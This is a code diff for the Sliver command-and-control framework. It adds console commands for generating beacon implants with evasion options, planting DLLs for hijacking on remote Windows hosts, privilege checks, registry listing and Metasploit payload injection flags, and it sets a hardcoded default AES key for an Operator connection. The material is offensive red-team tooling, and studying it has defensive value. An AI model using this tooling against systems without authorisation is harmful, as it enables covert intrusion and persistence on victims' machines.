+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsSaveCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     consts.TablesStr,
+		Help:     "Modify tables setting (style)",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsTablesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "beacon-autoresults",
+		Help:     "Automatically display beacon task results when completed",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsBeaconsAutoResultCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "autoadult",
+		Help:     "Automatically accept OPSEC warnings",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsAutoAdultCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	con.App.AddCommand(settingsCmd)
+
 	// [ Info ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -524,6 +675,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("T", "token", false, "execute command with current token (windows only)")
 			f.Bool("s", "silent", false, "don't print the command output")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
+			f.String("o", "stdout", "", "remote path to redirect STDOUT to")
+			f.String("e", "stderr", "", "remote path to redirect STDERR to")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -596,7 +750,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Load and execute a shared object (shared library/DLL) in a remote process",
 		LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("a", "args", "", "Arguments for the shared library function")
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
@@ -605,6 +758,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the shared library file")
+			a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
 		},
 		HelpGroup: consts.SliverHelpGroup,
 		Run: func(ctx *grumble.Context) error {
@@ -664,7 +818,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
-			f.String("o", "lhost", "", "listen host")
+			f.String("L", "lhost", "", "listen host")
 			f.Int("l", "lport", 4444, "listen port")
 			f.String("e", "encoder", "", "msf encoder")
 			f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -687,7 +841,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Int("p", "pid", -1, "pid to inject into")
 			f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
-			f.String("o", "lhost", "", "listen host")
+			f.String("L", "lhost", "", "listen host")
 			f.Int("l", "lport", 4444, "listen port")
 			f.String("e", "encoder", "", "msf encoder")
 			f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -763,13 +917,13 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
 			f.Bool("e", "evasion", false, "enable evasion features")
-			f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
+			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
-			f.String("H", "http", "", "http(s) connection strings")
+			f.String("b", "http", "", "http(s) connection strings")
 			f.String("n", "dns", "", "dns connection strings")
 			f.String("p", "named-pipe", "", "named-pipe connection strings")
 			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
@@ -778,7 +932,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
-			f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
+			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
 
 			f.String("w", "limit-datetime", "", "limit execution to before datetime")
@@ -788,7 +942,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
-
 			f.String("s", "save", "", "directory/file to the binary to")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -801,6 +954,59 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	}
+	generateCmd.AddCommand(&grumble.Command{
+		Name:     consts.BeaconStr,
+		Help:     "Generate a beacon binary",
+		LongHelp: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int64("D", "days", 0, "beacon interval days")
+			f.Int64("H", "hours", 0, "beacon interval hours")
+			f.Int64("M", "minutes", 15, "beacon interval minutes")
+			f.Int64("S", "seconds", 0, "beacon interval seconds")
+			f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
+
+			// Generate flags
+			f.String("o", "os", "windows", "operating system")
+			f.String("a", "arch", "amd64", "cpu architecture")
+			f.String("N", "name", "", "agent name")
+			f.Bool("d", "debug", false, "enable debug features")
+			f.Bool("e", "evasion", false, "enable evasion features")
+			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
+
+			f.String("c", "canary", "", "canary domain(s)")
+
+			f.String("m", "mtls", "", "mtls connection strings")
+			f.String("g", "wg", "", "wg connection strings")
+			f.String("b", "http", "", "http(s) connection strings")
+			f.String("n", "dns", "", "dns connection strings")
+			f.String("p", "named-pipe", "", "named-pipe connection strings")
+			f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
+
+			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
+			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
+
+			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
+			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
+			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
+
+			f.String("w", "limit-datetime", "", "limit execution to before datetime")
+			f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
+			f.String("y", "limit-username", "", "limit execution to specified username")
+			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
+			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
+
+			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
+			f.String("s", "save", "", "directory/file to the binary to")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			generate.GenerateBeaconCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
 	generateCmd.AddCommand(&grumble.Command{
 		Name:     consts.StagerStr,
 		Help:     "Generate a implant stager using MSF",
@@ -808,8 +1014,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
-			f.String("l", "lhost", "", "Listening host")
-			f.Int("p", "lport", 8443, "Listening port")
+			f.String("L", "lhost", "", "Listening host")
+			f.Int("l", "lport", 8443, "Listening port")
 			f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
 			f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
 			f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
@@ -920,7 +1126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
-			f.Int("P", "poll", generate.DefaultPoll, "attempt to poll every n second(s)")
+			f.Int("P", "poll", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
 
 			f.String("w", "limit-datetime", "", "limit execution to before datetime")
 			f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
@@ -998,9 +1204,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 	con.App.AddCommand(implantBuildsCmd)
 
 	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ListCanariesStr,
+		Name:     consts.CanariesStr,
 		Help:     "List previously generated canaries",
-		LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
+		LongHelp: help.GetHelpFor([]string{consts.CanariesStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Bool("b", "burned", false, "show only triggered/burned canaries")
 
@@ -1023,6 +1229,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.LsStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("r", "reverse", false, "reverse sort order")
+			f.Bool("m", "modified", false, "sort by modified time")
+			f.Bool("s", "size", false, "sort by size")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to enumerate", grumble.Default("."))
@@ -1119,6 +1328,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("c", "colorize-output", false, "colorize output")
+			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
 		},
 		Args: func(a *grumble.Args) {
@@ -1161,6 +1371,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+
+			f.Bool("i", "ioc", false, "track uploaded file as an ioc")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("local-path", "local path to the file to upload")
@@ -1509,30 +1721,64 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
-	// [ Extensions ] ---------------------------------------------
+	// [ Beacons ] ---------------------------------------------
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.LoadExtensionStr,
-		Help:     "Load a sliver extension",
-		LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
+	beaconsCmd := &grumble.Command{
+		Name:     consts.BeaconsStr,
+		Help:     "Manage beacons",
+		LongHelp: help.GetHelpFor([]string{consts.BeaconsStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			extensions.LoadExtensionCmd(ctx, con)
+			beacons.BeaconsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	}
+	beaconsCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Remove a beacon",
+		LongHelp: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			beacons.BeaconsRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	con.App.AddCommand(beaconsCmd)
+
+	// [ Macros ] ---------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.LoadMacroStr,
+		Help:     "Load a sliver macro",
+		LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			macros.LoadMacroCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("dir-path", "path to the extension directory")
+			a.String("dir-path", "path to the macro directory")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
 
 	// [ Environment ] ---------------------------------------------
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.GetEnvStr,
+	envCmd := &grumble.Command{
+		Name:     consts.EnvStr,
 		Help:     "List environment variables",
-		LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}),
+		LongHelp: help.GetHelpFor([]string{consts.EnvStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1546,12 +1792,11 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		HelpGroup: consts.GenericHelpGroup,
-	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.SetEnvStr,
+	}
+	envCmd.AddCommand(&grumble.Command{
+		Name:     consts.SetStr,
 		Help:     "Set environment variables",
-		LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}),
+		LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1567,11 +1812,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.UnsetEnvStr,
+	envCmd.AddCommand(&grumble.Command{
+		Name:     consts.UnsetStr,
 		Help:     "Clear environment variables",
-		LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}),
+		LongHelp: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
 		Args: func(a *grumble.Args) {
 			a.String("name", "environment variable name")
 		},
@@ -1586,6 +1830,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	con.App.AddCommand(envCmd)
+
+	// [ Licenses ] ---------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LicensesStr,
@@ -1611,7 +1858,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
 	}
-
 	registryCmd.AddCommand(&grumble.Command{
 		Name:     consts.RegistryReadStr,
 		Help:     "Read values from the Windows registry",
@@ -1627,7 +1873,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.String("H", "hive", "HKCU", "egistry hive")
+			f.String("H", "hive", "HKCU", "registry hive")
 			f.String("o", "hostname", "", "remote host to read values from")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1674,6 +1920,45 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("o", "hostname", "", "remote host to write values to")
 		},
 	})
+	registryCmd.AddCommand(&grumble.Command{
+		Name:     consts.RegistryListSubStr,
+		Help:     "List the sub keys under a registry key",
+		LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
+		Args: func(a *grumble.Args) {
+			a.String("registry-path", "registry path")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			registry.RegListSubKeysCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("H", "hive", "HKCU", "registry hive")
+			f.String("o", "hostname", "", "remote host to write values to")
+		},
+	})
+
+	registryCmd.AddCommand(&grumble.Command{
+		Name:     consts.RegistryListValuesStr,
+		Help:     "List the values for a registry key",
+		LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
+		Args: func(a *grumble.Args) {
+			a.String("registry-path", "registry path")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			registry.RegListValuesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("H", "hive", "HKCU", "registry hive")
+			f.String("o", "hostname", "", "remote host to write values to")
+		},
+	})
 	con.App.AddCommand(registryCmd)
 
 	// [ Pivots ] --------------------------------------------------------------
@@ -1846,6 +2131,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	con.App.AddCommand(wgSocksCmd)
 
 	// [ Portfwd ] --------------------------------------------------------------
+
 	portfwdCmd := &grumble.Command{
 		Name:     consts.PortfwdStr,
 		Help:     "In-band TCP port forwarding",
@@ -1897,6 +2183,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 	con.App.AddCommand(portfwdCmd)
 
 	// [ Monitor ] --------------------------------------------------------------
+
 	monitorCmd := &grumble.Command{
 		Name: consts.MonitorStr,
 		Help: "Monitor threat intel platforms for Sliver implants",
@@ -2054,4 +2341,253 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.GenericHelpGroup,
 	})
 	con.App.AddCommand(lootCmd)
+
+	// [ Hosts ] --------------------------------------------------------------
+	hostsCmd := &grumble.Command{
+		Name:     consts.HostsStr,
+		Help:     "Manage the database of hosts",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	hostsCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Remove a host from the database",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	iocCmd := &grumble.Command{
+		Name:     consts.IOCStr,
+		Help:     "Manage tracked IOCs on a given host",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsIOCCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	iocCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Delete IOCs from the database",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsIOCRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	hostsCmd.AddCommand(iocCmd)
+	con.App.AddCommand(hostsCmd)
+
+	// [ Reactions ] -----------------------------------------------------------------
+
+	reactionCmd := &grumble.Command{
+		Name:     consts.ReactionStr,
+		Help:     "Manage automatic reactions to events",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.SetStr,
+		Help:     "Set a reaction to an event",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "event", "", "specify the event type to react to")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionSetCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.UnsetStr,
+		Help:     "Unset an existing reaction",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("i", "id", 0, "the id of the reaction to remove")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionUnsetCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.SaveStr,
+		Help:     "Save current reactions to disk",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionSaveCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	reactionCmd.AddCommand(&grumble.Command{
+		Name:     consts.ReloadStr,
+		Help:     "Reload reactions from disk, replaces the running configuration",
+		LongHelp: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reaction.ReactionReloadCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	con.App.AddCommand(reactionCmd)
+
+	// [ DLL Hijack ] -----------------------------------------------------------------
+
+	dllhijackCmd := &grumble.Command{
+		Name:      consts.DLLHijackStr,
+		Help:      "Plant a DLL for a hijack scenario",
+		LongHelp:  help.GetHelpFor([]string{consts.DLLHijackStr}),
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			dllhijack.DllHijackCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("target-path", "Path to upload the DLL to on the remote system")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
+			f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
+			f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
+			f.String("p", "profile", "", "Profile name to use as a base DLL")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(dllhijackCmd)
+
+	// [ Get Privs ] -----------------------------------------------------------------
+	getprivsCmd := &grumble.Command{
+		Name:      consts.GetPrivsStr,
+		Help:      "Get current privileges (Windows)",
+		LongHelp:  help.GetHelpFor([]string{consts.GetPrivsStr}),
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			privilege.GetPrivsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(getprivsCmd)
+
+	// [ Extensions ] -----------------------------------------------------------------
+	extensionCmd := &grumble.Command{
+		Name:      consts.ExtensionStr,
+		Help:      "Manage sliver extensions",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			extensions.ListCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	extensionCmd.AddCommand(&grumble.Command{
+		Name:      consts.LoadStr,
+		Help:      "Register a new extension",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			extensions.LoadCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("dir-path", "path to the extension directory")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	})
+	con.App.AddCommand(extensionCmd)
+	// [ Prelude's Operator ] ------------------------------------------------------------
+	operatorCmd := &grumble.Command{
+		Name:      consts.PreludeOperatorStr,
+		Help:      "Manage connection to Prelude's Operator",
+		LongHelp:  help.GetHelpFor([]string{consts.PreludeOperatorStr}),
+		HelpGroup: consts.GenericHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			operator.OperatorCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	}
+	operatorCmd.AddCommand(&grumble.Command{
+		Name:      consts.ConnectStr,
+		Help:      "Connect with Prelude's Operator",
+		LongHelp:  help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}),
+		HelpGroup: consts.GenericHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			operator.ConnectCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("connection-string", "connection string to the Operator Host")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
+			f.String("a", "aes-key", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption")
+			f.String("r", "range", "sliver", "Agents range")
+		},
+	})
+
+	con.App.AddCommand(operatorCmd)
 }

client/command/dllhijack/README.md

@@ -0,0 +1,4 @@
+DLL Hijack
+===========
+
+Implements command related to `dllhijack`.

client/command/dllhijack/dllhijack.go

@@ -0,0 +1,97 @@
+package dllhijack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll  TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
+
+// DllHijackCmd -- implements the dllhijack command
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		localRefData  []byte
+		targetDLLData []byte
+		err           error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")
+
+	if referencePath == "" {
+		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
+		return
+	}
+
+	if localReferenceFilePath != "" {
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		if err != nil {
+			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
+			return
+		}
+	}
+
+	if localFile != "" {
+		if profileName != "" {
+			con.PrintErrorf("please use either --profile or --File")
+			return
+		}
+		targetDLLData, err = ioutil.ReadFile(localFile)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+		ReferenceDLLPath: referencePath,
+		TargetLocation:   targetPath,
+		ReferenceDLL:     localRefData,
+		TargetDLL:        targetDLLData,
+		Request:          con.ActiveTarget.Request(ctx),
+		ProfileName:      profileName,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("DLL uploaded to %s\n", targetPath)
+}

client/command/environment/get.go

@@ -22,28 +22,50 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 // EnvGetCmd - Get a remote environment variable
